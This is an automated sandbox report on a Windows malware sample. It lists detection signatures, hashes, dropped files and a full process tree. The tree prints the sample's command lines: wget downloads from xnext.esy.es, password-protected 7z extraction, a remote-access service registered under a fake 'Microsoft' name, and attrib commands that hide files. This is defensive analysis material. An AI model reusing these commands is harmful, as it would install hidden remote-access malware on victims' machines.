Analysis
-
max time kernel
91s -
max time network
156s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
28-11-2022 03:40
Static task
static1
Behavioral task
behavioral1
Sample
505cd63c932062ba1588274ab66fc52ca88bdb017481ce2286d54e096eab773f.exe
Resource
win7-20221111-en
General
-
Target
505cd63c932062ba1588274ab66fc52ca88bdb017481ce2286d54e096eab773f.exe
-
Size
1.3MB
-
MD5
9b0203bba061b219a93707efbd1e7c7a
-
SHA1
252c00ee2749e0d1db79553cf49334c240908cad
-
SHA256
505cd63c932062ba1588274ab66fc52ca88bdb017481ce2286d54e096eab773f
-
SHA512
6ee37a8e637343581fe1c004a3fbdc23b5a5b3e6b1ed1f10b3b42fac1144f147384fcb94c80bae72dd8efc2db14742828bcf1f018bdddd1d41fc4c037b2a2225
-
SSDEEP
24576:PaUxvxK4nXQEuJhZMPfpwAuTJOmzORONakqXRlaL8TsJyyMptS:5JKyXvuDUfUHTNZwaL8IJyhps
Malware Config
Signatures
-
Executes dropped EXE 3 IoCs
Processes:
wget.exewget.exe7z.exepid process 956 wget.exe 4680 wget.exe 2892 7z.exe -
Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
-
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\exes\wget.exe upx C:\Users\Admin\AppData\Local\Temp\exes\wget.exe upx behavioral2/memory/956-149-0x0000000000400000-0x00000000004EF000-memory.dmp upx C:\Users\Admin\AppData\Local\Temp\exes\wget.exe upx behavioral2/memory/4680-152-0x0000000000400000-0x00000000004EF000-memory.dmp upx -
Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
505cd63c932062ba1588274ab66fc52ca88bdb017481ce2286d54e096eab773f.exeWScript.execmd.exeWScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation 505cd63c932062ba1588274ab66fc52ca88bdb017481ce2286d54e096eab773f.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops file in Windows directory 1 IoCs
Processes:
cmd.exedescription ioc process File created C:\Windows\control.ini cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Delays execution with timeout.exe 4 IoCs
Processes:
timeout.exetimeout.exetimeout.exetimeout.exepid process 1716 timeout.exe 3600 timeout.exe 2100 timeout.exe 2392 timeout.exe -
Enumerates processes with tasklist 1 TTPs 2 IoCs
Processes:
tasklist.exetasklist.exepid process 4872 tasklist.exe 4432 tasklist.exe -
Kills process with taskkill 2 IoCs
Processes:
taskkill.exetaskkill.exepid process 2464 taskkill.exe 4800 taskkill.exe -
Modifies registry class 2 IoCs
Processes:
505cd63c932062ba1588274ab66fc52ca88bdb017481ce2286d54e096eab773f.execmd.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings 505cd63c932062ba1588274ab66fc52ca88bdb017481ce2286d54e096eab773f.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings cmd.exe -
Runs .reg file with regedit 1 IoCs
Processes:
regedit.exepid process 4492 regedit.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
taskkill.exetaskkill.exetasklist.exetasklist.exedescription pid process Token: SeDebugPrivilege 2464 taskkill.exe Token: SeDebugPrivilege 4800 taskkill.exe Token: SeDebugPrivilege 4872 tasklist.exe Token: SeDebugPrivilege 4432 tasklist.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
505cd63c932062ba1588274ab66fc52ca88bdb017481ce2286d54e096eab773f.exeWScript.execmd.exeWScript.execmd.exedescription pid process target process PID 2016 wrote to memory of 2064 2016 505cd63c932062ba1588274ab66fc52ca88bdb017481ce2286d54e096eab773f.exe WScript.exe PID 2016 wrote to memory of 2064 2016 505cd63c932062ba1588274ab66fc52ca88bdb017481ce2286d54e096eab773f.exe WScript.exe PID 2016 wrote to memory of 2064 2016 505cd63c932062ba1588274ab66fc52ca88bdb017481ce2286d54e096eab773f.exe WScript.exe PID 2064 wrote to memory of 4896 2064 WScript.exe cmd.exe PID 2064 wrote to memory of 4896 2064 WScript.exe cmd.exe PID 2064 wrote to memory of 4896 2064 WScript.exe cmd.exe PID 4896 wrote to memory of 3380 4896 cmd.exe reg.exe PID 4896 wrote to memory of 3380 4896 cmd.exe reg.exe PID 4896 wrote to memory of 3380 4896 cmd.exe reg.exe PID 4896 wrote to memory of 2464 4896 cmd.exe taskkill.exe PID 4896 wrote to memory of 2464 4896 cmd.exe taskkill.exe PID 4896 wrote to memory of 2464 4896 cmd.exe taskkill.exe PID 4896 wrote to memory of 4800 4896 cmd.exe taskkill.exe PID 4896 wrote to memory of 4800 4896 cmd.exe taskkill.exe PID 4896 wrote to memory of 4800 4896 cmd.exe taskkill.exe PID 4896 wrote to memory of 1716 4896 cmd.exe timeout.exe PID 4896 wrote to memory of 1716 4896 cmd.exe timeout.exe PID 4896 wrote to memory of 1716 4896 cmd.exe timeout.exe PID 4896 wrote to memory of 1364 4896 cmd.exe WScript.exe PID 4896 wrote to memory of 1364 4896 cmd.exe WScript.exe PID 4896 wrote to memory of 1364 4896 cmd.exe WScript.exe PID 4896 wrote to memory of 3600 4896 cmd.exe timeout.exe PID 4896 wrote to memory of 3600 4896 cmd.exe timeout.exe PID 4896 wrote to memory of 3600 4896 cmd.exe timeout.exe PID 1364 wrote to memory of 2236 1364 WScript.exe cmd.exe PID 1364 wrote to memory of 2236 1364 WScript.exe cmd.exe PID 1364 wrote to memory of 2236 1364 WScript.exe cmd.exe PID 2236 wrote to memory of 3004 2236 cmd.exe PING.EXE PID 2236 wrote to memory of 3004 2236 cmd.exe PING.EXE PID 2236 wrote to memory of 3004 2236 cmd.exe PING.EXE PID 2236 wrote to memory of 956 2236 cmd.exe wget.exe PID 2236 wrote to memory of 956 2236 cmd.exe wget.exe PID 2236 wrote to memory of 956 2236 cmd.exe wget.exe PID 2236 wrote to memory of 4680 2236 cmd.exe wget.exe PID 2236 wrote to memory of 4680 2236 cmd.exe wget.exe PID 2236 wrote to memory of 4680 2236 cmd.exe wget.exe PID 2236 wrote to memory of 2892 2236 cmd.exe 7z.exe PID 2236 wrote to memory of 2892 2236 cmd.exe 7z.exe PID 2236 wrote to memory of 2892 2236 cmd.exe 7z.exe PID 4896 wrote to memory of 4872 4896 cmd.exe tasklist.exe PID 4896 wrote to memory of 4872 4896 cmd.exe tasklist.exe PID 4896 wrote to memory of 4872 4896 cmd.exe tasklist.exe PID 4896 wrote to memory of 3156 4896 cmd.exe findstr.exe PID 4896 wrote to memory of 3156 4896 cmd.exe findstr.exe PID 4896 wrote to memory of 3156 4896 cmd.exe findstr.exe PID 4896 wrote to memory of 2100 4896 cmd.exe timeout.exe PID 4896 wrote to memory of 2100 4896 cmd.exe timeout.exe PID 4896 wrote to memory of 2100 4896 cmd.exe timeout.exe PID 4896 wrote to memory of 4432 4896 cmd.exe tasklist.exe PID 4896 wrote to memory of 4432 4896 cmd.exe tasklist.exe PID 4896 wrote to memory of 4432 4896 cmd.exe tasklist.exe PID 4896 wrote to memory of 1004 4896 cmd.exe findstr.exe PID 4896 wrote to memory of 1004 4896 cmd.exe findstr.exe PID 4896 wrote to memory of 1004 4896 cmd.exe findstr.exe PID 4896 wrote to memory of 4492 4896 cmd.exe regedit.exe PID 4896 wrote to memory of 4492 4896 cmd.exe regedit.exe PID 4896 wrote to memory of 4492 4896 cmd.exe regedit.exe PID 4896 wrote to memory of 3008 4896 cmd.exe reg.exe PID 4896 wrote to memory of 3008 4896 cmd.exe reg.exe PID 4896 wrote to memory of 3008 4896 cmd.exe reg.exe PID 4896 wrote to memory of 2508 4896 cmd.exe attrib.exe PID 4896 wrote to memory of 2508 4896 cmd.exe attrib.exe PID 4896 wrote to memory of 2508 4896 cmd.exe attrib.exe PID 4896 wrote to memory of 4948 4896 cmd.exe attrib.exe -
Views/modifies file attributes 1 TTPs 3 IoCs
Processes:
attrib.exeattrib.exeattrib.exepid process 2508 attrib.exe 4948 attrib.exe 3076 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\505cd63c932062ba1588274ab66fc52ca88bdb017481ce2286d54e096eab773f.exe"C:\Users\Admin\AppData\Local\Temp\505cd63c932062ba1588274ab66fc52ca88bdb017481ce2286d54e096eab773f.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\exes\ios.vbs"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\exes\setup.bat" "3⤵
- Checks computer location settings
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\SYSTEM\Remote Manipulator System" /f4⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im rfusclient.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im rutserv.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\timeout.exetimeout 24⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\exes\bat.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\exes\bat.bat" "5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping xnext.esy.es -n setup6⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\exes\wget.exewget.exe http://xnext.esy.es/files_7z/files2.part6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\exes\wget.exewget.exe http://xnext.esy.es/reg_users/test55/regedit.reg6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\exes\7z.exe7z.exe x -y -p1895 files.7z6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\timeout.exetimeout 24⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\tasklist.exetasklist /FI "IMAGENAME eq wget.exe" /NH4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\findstr.exefindstr /i "wget.exe"4⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\tasklist.exetasklist /FI "IMAGENAME eq 7z.exe" /NH4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\findstr.exefindstr /i "7z.exe"4⤵
-
C:\Windows\SysWOW64\regedit.exeregedit /s "regedit.reg"4⤵
- Runs .reg file with regedit
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_LOCAL_MACHINE\SYSTEM\Remote Manipulator System\v4\Server\Parameters" /v FUSClientPath /t REG_SZ /d "C:\Windows\en-US\DRVSTORE\Dism\ru-RU\security\ApplicationId\PolicyManagement\PolicyManagement\System\32\Web\Histoty\rfusclient.exe" /f4⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\Windows\en-US\DRVSTORE\Dism\ru-RU\security\ApplicationId\PolicyManagement\PolicyManagement\System\32\Web\Histoty\*.*"4⤵
- Sets file to hidden
- Views/modifies file attributes
-
C:\Windows\SysWOW64\attrib.exeattrib -s -h "C:\Windows\en-US\DRVSTORE\Dism\ru-RU\security\ApplicationId\PolicyManagement\PolicyManagement\System\32\Web\Histoty\vp8decoder.dll"4⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\attrib.exeattrib -s -h "C:\Windows\en-US\DRVSTORE\Dism\ru-RU\security\ApplicationId\PolicyManagement\PolicyManagement\System\32\Web\Histoty\vp8encoder.dll"4⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet00setup\services\RManService" /v DisplayName /t REG_SZ /d "Microsoft Corporation" /f4⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet00setup\services\RManService" /v Description /t REG_SZ /d "Microsoft Windows" /f4⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\exes\7z.dllFilesize
893KB
MD504ad4b80880b32c94be8d0886482c774
SHA1344faf61c3eb76f4a2fb6452e83ed16c9cce73e0
SHA256a1e1d1f0fff4fcccfbdfa313f3bdfea4d3dfe2c2d9174a615bbc39a0a6929338
SHA5123e3aaf01b769471b18126e443a721c9e9a0269e9f5e48d0a10251bc1ee309855bd71ede266caa6828b007359b21ba562c2a5a3469078760f564fb7bd43acabfb
-
C:\Users\Admin\AppData\Local\Temp\exes\7z.exeFilesize
160KB
MD5a51d90f2f9394f5ea0a3acae3bd2b219
SHA120fea1314dbed552d5fedee096e2050369172ee1
SHA256ac9674feb8f2fad20c1e046de67f899419276ae79a60e8cc021a4bf472ae044f
SHA512c11f981136db7d9bde01046b1953fd924ff29447d41257da09dd762451e27390cea9b69e43206a8fff825ebcd4ddec5a6247bb502aefbd6e8285622caa985bf6
-
C:\Users\Admin\AppData\Local\Temp\exes\7z.exeFilesize
160KB
MD5a51d90f2f9394f5ea0a3acae3bd2b219
SHA120fea1314dbed552d5fedee096e2050369172ee1
SHA256ac9674feb8f2fad20c1e046de67f899419276ae79a60e8cc021a4bf472ae044f
SHA512c11f981136db7d9bde01046b1953fd924ff29447d41257da09dd762451e27390cea9b69e43206a8fff825ebcd4ddec5a6247bb502aefbd6e8285622caa985bf6
-
C:\Users\Admin\AppData\Local\Temp\exes\bat.batFilesize
271B
MD5681913b7b79c1dec9c57a0562d022bad
SHA100180aff172cf9ba182dd014edd720374654ca05
SHA25686945a2c1bc6da7d9c73d488521ef4309a040e188391f7b712162424d912fc48
SHA512b4d5f815ffa8dda87b13cb470a7d067f5cf7f9620a09626e5db1e1624dc5ae13caa6ee9e5524fa0283c3a35aef4a2da712160c12c6607ff39fe7d4bd71ab55dc
-
C:\Users\Admin\AppData\Local\Temp\exes\bat.vbsFilesize
113B
MD59a9ec59df719a15b2cadb19ecce9adfd
SHA1172b551d1d04c93c8bb52ead5a88b084e3c8f469
SHA2569413f4a4084d653e2acd3ea80282a261d8356f2605ae7a502ef364c54d4ab2d8
SHA5121f1f678802ad5d5b86824ae789d8ebc64abc8d84686118051f73cfb0f3c6ff41ef19478f4073040d864fc697fe047bf7cd715632eb9b1b1f4d6e4e5799907b20
-
C:\Users\Admin\AppData\Local\Temp\exes\ios.vbsFilesize
181B
MD597940582cc77eb606a9258be774ae244
SHA15a59e37579349159a52d778d941e60b7cf452dd2
SHA2561628588c5df4f1af604a07089994f3c40a1dc705f8f036d2ca07c09cedcf3b87
SHA512e7d26aefd1ad67928c2f788838271b2d76775d8d48abadf31d6f76ba534249c3cf375384024571ddd59c9d42e894b002808660f5e6eca3971ffdf7134446d4b0
-
C:\Users\Admin\AppData\Local\Temp\exes\setup.batFilesize
15KB
MD5ac2dba570bc68d20936c7c2adead2967
SHA1ff753931f0ca25dafdd0b262f0726ca9ebf7c6d3
SHA256f451f54ec3cf60fdfde055bd146f483b89a43b0bf8d16ffaa8981e32030d4978
SHA51259f31b3be442e3c682076550b4126bf461b2c2b28c15324bf4e89394192d7e8d7290abd3b7d79307eb3f98a8afcaf1e0005f36715a26f9cd13154fb9d69030b0
-
C:\Users\Admin\AppData\Local\Temp\exes\wget.exeFilesize
392KB
MD5bd126a7b59d5d1f97ba89a3e71425731
SHA1457b1cd985ed07baffd8c66ff40e9c1b6da93753
SHA256a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599
SHA5123ef1b83ea9821cb10f8bc149ec481d1e486d246a0cb51fe7983785529df42c6fe775e0d35c64a97f997cdf294464c7640df392239b96ce1be6143ce8f07b5a8a
-
C:\Users\Admin\AppData\Local\Temp\exes\wget.exeFilesize
392KB
MD5bd126a7b59d5d1f97ba89a3e71425731
SHA1457b1cd985ed07baffd8c66ff40e9c1b6da93753
SHA256a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599
SHA5123ef1b83ea9821cb10f8bc149ec481d1e486d246a0cb51fe7983785529df42c6fe775e0d35c64a97f997cdf294464c7640df392239b96ce1be6143ce8f07b5a8a
-
C:\Users\Admin\AppData\Local\Temp\exes\wget.exeFilesize
392KB
MD5bd126a7b59d5d1f97ba89a3e71425731
SHA1457b1cd985ed07baffd8c66ff40e9c1b6da93753
SHA256a48ad33695a44de887bba8f2f3174fd8fb01a46a19e3ec9078b0118647ccf599
SHA5123ef1b83ea9821cb10f8bc149ec481d1e486d246a0cb51fe7983785529df42c6fe775e0d35c64a97f997cdf294464c7640df392239b96ce1be6143ce8f07b5a8a
-
memory/956-149-0x0000000000400000-0x00000000004EF000-memory.dmpFilesize
956KB
-
memory/956-146-0x0000000000000000-mapping.dmp
-
memory/1004-160-0x0000000000000000-mapping.dmp
-
memory/1364-141-0x0000000000000000-mapping.dmp
-
memory/1716-139-0x0000000000000000-mapping.dmp
-
memory/2064-132-0x0000000000000000-mapping.dmp
-
memory/2100-158-0x0000000000000000-mapping.dmp
-
memory/2236-144-0x0000000000000000-mapping.dmp
-
memory/2392-168-0x0000000000000000-mapping.dmp
-
memory/2464-137-0x0000000000000000-mapping.dmp
-
memory/2508-163-0x0000000000000000-mapping.dmp
-
memory/2892-153-0x0000000000000000-mapping.dmp
-
memory/3004-145-0x0000000000000000-mapping.dmp
-
memory/3008-162-0x0000000000000000-mapping.dmp
-
memory/3076-165-0x0000000000000000-mapping.dmp
-
memory/3156-157-0x0000000000000000-mapping.dmp
-
memory/3380-136-0x0000000000000000-mapping.dmp
-
memory/3600-142-0x0000000000000000-mapping.dmp
-
memory/3680-167-0x0000000000000000-mapping.dmp
-
memory/4164-166-0x0000000000000000-mapping.dmp
-
memory/4432-159-0x0000000000000000-mapping.dmp
-
memory/4492-161-0x0000000000000000-mapping.dmp
-
memory/4680-152-0x0000000000400000-0x00000000004EF000-memory.dmpFilesize
956KB
-
memory/4680-150-0x0000000000000000-mapping.dmp
-
memory/4800-138-0x0000000000000000-mapping.dmp
-
memory/4872-156-0x0000000000000000-mapping.dmp
-
memory/4896-135-0x0000000000000000-mapping.dmp
-
memory/4948-164-0x0000000000000000-mapping.dmp